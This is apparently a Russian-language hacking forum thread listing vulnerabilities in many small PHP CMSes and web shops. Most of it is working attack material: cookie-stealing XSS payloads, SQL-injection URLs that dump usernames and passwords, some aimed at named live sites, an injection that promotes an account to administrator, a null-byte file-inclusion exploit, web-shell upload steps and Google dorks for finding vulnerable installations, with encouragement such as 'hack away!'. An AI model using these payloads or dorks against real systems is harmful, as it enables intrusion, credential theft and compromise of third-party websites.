phpCMS 1.2.2 Скачать Пассивная xss http://www.phpcms.de/search.de.html Suche nach: PHP: "><script>alert(document.cookie)</script>< style
phpComasy v1.0.1 Скачать Активная XSS Пример одного сайта: Code: http://www.natamohn.com/?id=12&mod_action=add_guestbook_entry_form Уязвимые поля>> Code: Firstname* , Lastname, e-Mail , WWW , Comment* doc:powered by phpComasy
Apprain CMS Version:0.1.X Off Site: http://www.apprain.com/ (1.11.2010) Заливка шелла через админку 1. Способ| Gallery -> Add New Picture написанно "*.jpg, *.gif, *.png" но шелл заливается удачно, адресс шелла /uploads/filemanager/ *** .php 2. Способ| Store-> Add New product PHP: var uploadAllFiles, uploadOnlyImageFiles; window.onload = function() { uploadAllFiles = new SWFUpload({ // Backend Settings upload_url: "<?php echo $this->baseurl('/common/general_upload/'); ?>", post_params: {"PHPSESSID" : "<?php echo session_id(); ?>"}, // File Upload Settings file_size_limit : "102400", // 100MB file_types : "*.*", file_types_description : "All Files", file_upload_limit : "100", file_queue_limit : "0", ....... Активная XSS /member/signup При регистрацыии Пользователя -> First Name - Last Name - Address PHP: echo $this->get_tag("form",array("method"=>"post","class"=>"app_form app_validation","id"=>"signup_form","action"=> $this->baseurl("/member/signup"))); echo $this->get_tag("ul"); echo App::Load("Helper/Html")->get_from_row($this->__("First Name"),App::Load("Helper/Html")->inputTag("data[Member][f_name]","",array("class"=>"input check_notempty",'id'=>'f_name','longdesc'=>'Please enter your first name')) ); echo App::Load("Helper/Html")->get_from_row($this->__("Last Name"),App::Load("Helper/Html")->inputTag("data[Member][l_name]","",array("class"=>"input check_notempty",'id'=>'l_name','longdesc'=>'Please enter your last name')) ); echo App::Load("Helper/Html")->get_from_row($this->__("Country"), App::Load("Helper/Html")->countryTag("data[Member][country]","",array("title"=>"Country","id" => "country","class"=>"select check_notempty"),array('title'=>'Your Country','longdesc'=>'Please select your country')) ); echo App::Load("Helper/Html")->get_from_row($this->__("Address"),App::Load("Helper/Html")->textareaTag("data[Member][address]","",array("rows"=>"3","class"=>"input check_notempty",'id'=>'address','longdesc'=>'Enter your address infomration')) ); /admin/account/edit /information/manage/blog-post Редактируем "Title" на "><script>window.location.href='http://www.google.de/';</script> /admin/config/general Admin Setting -> Site Title и во многих других местах админки Пассивная XSS www.localhost/quickstart/admin/forgotlogin \development\view\system\admin\forgotlogin.phtml Fotgoet Password-> Enter you Email Address -> PHP: <li style="width:500px"><input type="text" style="width:500px" name="data[Admin][email]" class="input_app_login" value="<?php echo isset($this->data['Admin']['email']) ? $this->data['Admin']['email'] : "" ?>" /></li> + Search \development\view\whitecloud\home\search.phtml PHP: <?php $this->__("Search Reasult for") ?> '<?php echo $srcstr;?>'</h1> <?php if(!empty($srcarr['data'])):?> <p><?php echo $this->__("Total result found ");?><?php echo $srcarr['total']; </p> <?php if($srcarr['paging']): ?><br /> <p><?php echo $srcarr['link'];?> <?php echo $srcarr['paging'];?></p> <?php endif;?><ul> <?php foreach($srcarr['data'] as $val):?> <li><h2><?php echo($val['_parmalink']);?></h2><p><?php echo substr(strip_tags($val['_parmadesc']),0,400);?>
Уязвимости Open Constructor Тип уязвимости: SQL inj Зависимости: Права админа Куски уязвимых кодов: PHP: <?php require_once($_SERVER['DOCUMENT_ROOT'].'/openconstructor/lib/wccommons._wc'); WCS::requireAuthentication(); $db = &WCDB::bo(); [B]$res = $db->query('SELECT id, ds_type, obj_type FROM objects WHERE id='.$_GET['id']);[/B] $obj = mysql_fetch_assoc($res); mysql_free_result($res); if($obj) { header('Location: '.$obj['ds_type'].'/'.$obj['obj_type'].'.php?id='.$obj['id']); die(); } assert(true === false); ?> PHP: <?php require_once($_SERVER['DOCUMENT_ROOT'].'/openconstructor/lib/wccommons._wc'); System::request('data'); require_once(LIBDIR.'/languagesets/'.LANGUAGE.'/editors._wc'); assert(isset($_GET['ds_id']) && isset($_GET['id'])); require_once($_SERVER['DOCUMENT_ROOT'].WCHOME.'/include/toolbar._wc'); require_once(LIBDIR.'/site/pagereader._wc'); $pr = &PageReader::getInstance(); require_once(LIBDIR.'/dsmanager._wc'); $dsm = new DSManager(); $_ds = &$dsm->load($_GET['ds_id']); assert($_ds->ds_id > 0); if($_GET['id'] == 'new') { $pages = &$pr->getAllPages(); $db = &WCDB::bo(); $res = $db->query( 'SELECT id '. 'FROM dshtmltext '. 'WHERE ds_id = '.$_ds->ds_id ); while($r = mysql_fetch_assoc($res)) unset($pages[$r['id']]); mysql_free_result($res); } else { $page = &$pr->getPage($_GET['id']); assert($page != null); $_doc = $_ds->get_record($_GET['id']); assert($_doc != null); } require_once(LIBDIR.'/syntax/syntaxhighlighter._wc'); $m = array(); preg_match_all('~<([A-Z0-9]+)~', strtoupper($_ds->allowedTags), $m, PREG_PATTERN_ORDER); $allowed = (array) @$m[1]; $sDoc = $_ds->wrapDocument($_doc); $save = $_GET['id'] == 'new' ? WCS::decide($_ds, 'createdoc') && sizeof($pages) > 0 : WCS::decide($_ds, 'editdoc') || WCS::decide($sDoc, 'editdoc'); ?> Примеры: localhost/../objects/edit.php?j=1&id=4%20union%20select%201,2,3-- localhost/../../htmltext/edit.php?ds_id=90&id=36%20union%20select%201,2,3,4,5,6,7,8--
Уязвимости Simple CMS О Simple CMS От себя хочу сказать, что Simple CMS. ver.1.0. вся дырявая. Почти на каждом месте есть SQL inj. По дорку гугла мне выдало "Результатов: примерно 14 800 (0,35 сек.) ". SQL инъекции: SQL inj в выборе статьи, уязвимый код: PHP: if (isset($_GET['artcl'])) { $id_art = $_GET['artcl']; $article = mysql_query("SELECT title, article FROM artcl WHERE IDart=".$id_art); Как видно, нет никакой фильтрации.. Пример: localhost/index.php?id=3&artcl=-4 union select version(),2-- SQL inj в выборе раздела, уязвимый код: PHP: if (isset($_GET['id'])) { $id = $_GET['id']; } else { $id = 1; } print "<table width='100%' cellpadding=2 cellspacing=2>"; $razdel = mysql_query("SELECT menu, txt FROM tree WHERE id=".$id); Пример: localhost/index.php?id=-3 union select 1,version()-- Незачем дальше перечислять, она вся в дырках. К сожалению, хочу отметить, что пароли администраторов не хранятся в БД. Они находятся в файле connect.php. Панель администратора находится по адресу /admin/, если вы попали в админку, то заходим: Баннеры > льём через форму загрузки баннеров шелл > шелл будет доступен по адресу images/shell.php Вот вам пример, хекайте! P.S Дорк "intext:Разработано Яшиной С. [email protected]". Модуль Новостей Только что зашёл на официальный сайт в раздел Мои разработки, скачал модуль новостей и снова он бажный . PHP: if (isset($_GET['id_news'])) { $id_news = $_GET['id_news']; $news = mysql_query("SELECT rus_name, rus_annonce, rus_content, date FROM news WHERE id=".$id_news); Пример: localhost/news/news.php?id_news=-2 union select version(),2,3,4-- З.Ы Писала движок девушка . Официальный сайт
Уязвимости Booot CMS Тип уязвимости: SQL inj Зависимости: Права админа Куски уязвимых кодов: PHP: if(isset($_GET['top'])) { $i = $this->db->rows("SELECT * FROM `prefix_products_topics` WHERE `id` = ".$_GET['top']); PHP: if(!isset($_GET['top'])) { .... $i = $this->db->rows("SELECT * FROM `prefix_content` WHERE `id` = ".$_GET['top']); PHP: if(!isset($_GET['top'])) { .... $i = $this->db->rows("SELECT * FROM `prefix_content` WHERE `id` = ".$_GET['top']); Примеры: host/admin/?module=Catalog&method=Info&top=-12 union select 1,2,3,version(),5,6,7,8,9,0,1,2,3,4,5,6,7,8-- host/admin/?module=Content&method=Info&top=-5 union select 1,2,3,4,version(),6,7,8,9,0,1,2,3-- Уязвима вся админка. Видимо разработчики решили, что баги в админке никому не нужны..
Дополнение к посту от SeNaP WAP ENGINE 4.2 (Возможно и другие версии) активная xss в гостевой книге \modules\guest\send.php PHP: $url = "$_POST[url]"; ... $url = trim($url); $url = str_replace('http://','',$url); $url = str_replace('|', '', $url); Сайт (URL): __XSS Путь
Ajax OnlineShop 1.0 SQL Injection оффсайт: Code: http://www.ajax-onlineshop.de/demo/index.php?id=4997+UNION+SELECT+1,2,3,version%28%29,5,6,7,8%20--+#seo_loaded%28-4997%29 параметр index.php?id= прийдется дописывать самому из за функции:document.URL.split PHP: // if get id in url but no # if ( (<? echo $id_page; ?> != 0) && (!<? echo $startpage ?>) && (document.URL.search(/#.+/) == -1) ) { wohinJS = 'reload'; var start_name = document.URL.split ('?id='); var hist_event_name = start_name[0] + "(" + start_name[1] + ")"; // generate history-event-name addHistoryEvent('seo_loaded('+ start_name[1] +')', start_name[1]); // load requested page } else { var start_name = document.URL.split ('#'); <? if ($reg_now == 0) { // no registration ?> if (start_name[1]) { // exist history-ID in url... wohinJS = 'reload'; start_name = start_name[1].split ('('); // ...yes, split the name var start_id = filterZahl(start_name[1]); // extract the id // del wenn sicher: filterZahl(start_url) //$('log').innerHTML = start_name[0] + " - " + start_id; // testing var hist_event_name = start_name[0] + "(" + start_id + ")"; // generate history-event-name addHistoryEvent(hist_event_name, start_id); // load requested page } else { // ...no, then load shop-startpage <? echo get_startpage_link(false, true); ?> уязвимы все сайты,их достаточно много
547, не тот код уязвим. Так правильнее будет. --->index.php PHP: if ( (isset($_GET['id'])) && ($_GET['id'] != "") ) { $startpage = "false"; $id_page = $_GET['id']; } else { $id_page = get_startpage_link(false, false, true); $startpage = "true"; } $seo_infos = seo_get_site_infos($id_page); --->config.php PHP: function get_prod_comments($page, $prod_id, $new_added) { global $db, $js; $outputText = ""; $backgr_zaehler = 0; $backgr = "backgroundcolor: #".$GLOBALS["row_colors"]['backgr_maindivs'].";"; $seitenzahl_arr = gen_seitenzahlarr($page, "", "", "aong_shop_art_comments", $db, "prodID = {$prod_id} AND del='N'", "prodcomments"); $limit = ""; if (!$js) { $limit = " LIMIT ".$seitenzahl_arr["start"].", ".$seitenzahl_arr["proseite"]; } $result = $db->sql("SELECT * FROM aong_shop_art_comments ".$seitenzahl_arr["where_state"]." ORDER BY ID DESC{$limit}"); $page_prodcomments_amount = $db->count_rows(); if (!$js) { $outputText .= gen_seitenzahlen($page, 1, $seitenzahl_arr["proseite"], $seitenzahl_arr["seiten"], $seitenzahl_arr["start"], "oben", "", "", "", "", "prodcomments", $prod_id); } $outputText .= "<div id=\"div_prodcomments\" class=\"div_main_inhalt\" style=\"width: 618px; {$backgr} text-align: left; margin: 0px; border-left: 0px; border-right: 0px; border-bottom: 0px; padding: 0px 0px 0px 0px; border-top: 0px;\">"; while ($row = mysql_fetch_array($result)) { if ($backgr_zaehler%2 == 0){ $backgr = "background-color: #".$GLOBALS["row_colors"]['backgr_maindivs'].";"; } else{ $backgr = "background-color: #".$GLOBALS["row_colors"]['backgr_div_weich'].";"; } if ( ($new_added) == 1 && ($backgr_zaehler == 0) ){ $new_added_addon = " color: #2A5206;"; } else { $new_added_addon = ""; } $outputText .= " <div style=\"clear: both; float: left; width: 614px;{$new_added_addon} padding: 0px 2px 0px 2px; {$backgr} font-size: 11px; border-top: 1px solid #".$GLOBALS["row_colors"]['rahmenfarbe_divs'].";"; if ($backgr_zaehler == 0) { $outputText .= " padding-top: 5px;"; } $outputText .= "\"><b>".$row["name"]."</b></div><div style=\"clear: both; float: left; width: 200px;{$new_added_addon} padding: 0px 2px 0px 2px; {$backgr} font-size: 11px;\"><i>am ".date("d.m.Y", $row["time"])." um ".date("H:i", $row["time"])." Uhr</i> </div> <div style=\"float: right; width: 410px; text-align: right;{$new_added_addon} padding: 0px 2px 0px 2px; {$backgr} font-size: 11px;\"> <i>vor ".intervall(time()-$row["time"])."</i> </div> <div style=\"clear: both; float: left; width: 614px;{$new_added_addon} {$backgr} font-size: 11px; padding: 10px 2px 20px 2px;\"> ".nl2br($row["txt"])." </div>"; $backgr_zaehler++; } $outputText .= "</div>"; if (!$js) { $outputText .= gen_seitenzahlen($page, 1, $seitenzahl_arr["proseite"], $seitenzahl_arr["seiten"], $seitenzahl_arr["start"], "unten", "", "", "", "", "prodcomments", $prod_id); } return $outputText; } .... https://rdot.org/forum/showpost.php?p=9338&postcount=5
MyMuWeb 0.7,0.6 (более ранние не смотрел) Движок довольно часто встречается на игровых серверах Mu Online. Фикс давно вышел, но есть еще довольно много "отсталых". Sql injection : Code: http://localhost/?ref='updаtе/**/memb_info/**/set/**/mmw_status='9'/**/where/**/memb___id='Ваш юзернейм'--&ref=Существующий на сервере юзернейм (можно свой) П.С. БД железобетонно MSSQL.
Дополнение к посту от 547 Ajax OnlineShop 1.0 Xss офф-демо-сайт Code: http://www.ajax-onlineshop.de/demo/index.php?id=1"><script>alert('d0s')</script> +xss на офф.сайте Code: http://www.ajax-onlineshop.de/servicemail/ Заполняем все поля,уязвимое поле - Name Вбиваем туда что-нибудь типо Code: "><script>alert(1)</script><
osPHPSite 0.0.1 Beta http://www.osphpsite.com/ SQL Injection: /index.php PHP: ... $id = $_GET['id']; database_connect(); $query = "SELECT * from content WHERE id = $id"; ... Пример: Code: http://php/index.php?id=25%20union%20select%201,concat_ws(0x3a,id,username,password),3,4,5,6,7,8 from user-- Необходимы права администратора. Путь: Code: http://php/admin/index.php?page[]=config Многие места так же уязвимы к SQL inj. Скрипт полностью бажный.
NinkoBB v. 1.3 http://ninkobb.com/ XSS: Создаем новый топик, по адресу message.php с "Subject" и "Message" содержанием: Code: <script>alert('xss')</script>[/B] И пока топик висит на главной странице имеем активную XSS.
KAPCMS v0.904 http://kapcms.ru/ XSS Вписываем в поле поиска пишем: Code: <script>alert(1)</script> Гет запрос будет выглядить следующем образом: Code: http://kapcms.ru/?s=<script>alert(1)</script>&page=11[/B]
Creativestate Тип уязвимости: SQL inj http://www.creativestate.com/work dork:Site design by Creative State админка:localhost/admin/ пример:/index.cfm?id=-2%20union%20select%201,2,3,4,5,6,7,8,group_concat(managerLogin,0x3a,managerPassword)%20from%20managers%20--
Web@all CMS http://webatall.com/ XSS Вписываем в поле поиска (сразу под формой входа в правом верхнем углу,если кто ненашел): Code: <script>alert(document.cookie)</script>
Дополнение к посту Root-access CompactCMS офф сайт: compactcms.nl XSS content/403.php PHP: <?php echo $_GET['page']; ?> Пример: Code: http://demo.compactcms.nl/content/403.php?page=<script>alert(document.cookie)</script> Тоже самое в файле 404.php по соседству.
xzengine 1.7 beta 8 Офф сайт xzengine.ru DORK : "Powered by xzengine" SQL injection Крутим через ошибку,пример на нескольких сайтах: Code: http://xzengine.ru/index.php?category=1+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--+ http://glassofvine.ru/index.php?category=1+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--+ http://hightvoltage.net/index.php?category=1+and+ExtractValue(1,concat(0x5c,(select+version())))--+ XSS Пример: Code: http://xzengine.ru/index.php?category=1--><script>alert(1)</script> Заливка шелла,нужны права админа В админке "загрузить файл",льем наш шелл и он будет по адресу site.com/upload/shell.php //если есть возможность(двиг не платный) то показывайте уязвимый код. (Konqi) Фараон Не совсем так,даже если ты закоментируешь обращение к бд ето,то инъекция будет,т.к. там еще 2 обращение к бд с этой переменной.И зачем ты копировал мой пост?
Дополнение к посту ~d0s~(#444): Xzengine 1.7 beta 8 SQL injection: /index.php PHP: ... require_once './classes/viewnews.php'; ... if(isset($_GET['category'])) $category = $_GET['category']; ... /viewnews.php PHP: ... if($category == 0) { $result = AbstractDataBase::Instance()->query('SELECT * FROM '.DATABASE_TBLPERFIX.'news WHERE news_fixed = 0 AND news_approve = 1 AND news_view = 1 ORDER BY news_id DESC LIMIT '.$newsperpage * $page.','.$newsperpage); } else { $result = AbstractDataBase::Instance()->query('SELECT * FROM '.DATABASE_TBLPERFIX.'news WHERE news_fixed = 0 AND news_approve = 1 AND news_view = 1 AND news_category = '.$category.' ORDER BY news_id DESC LIMIT '.$newsperpage * $page.','.$newsperpage); } ... Пример: Code: http://eng/index.php?category=3%20union%20select%20concat_ws(0x3a,users_login,users_password),2,3,4,5,6,7,8,9,10,11,12,13%20from%20xz_users%20limit%200,1--
Sobak CMS 0_2 Скачате: http://sourceforge.net/projects/sobakcms/ LFI Need: rg = on ; mq = off index.php PHP: $id = $_GET['id']; //... if ($isInWebs == true) { include ('webs/'.$id.'.php'); } //... эксплуатация: Code: http://localhost/sobak/index.php?isInWebs=1&id=../robots.txt%00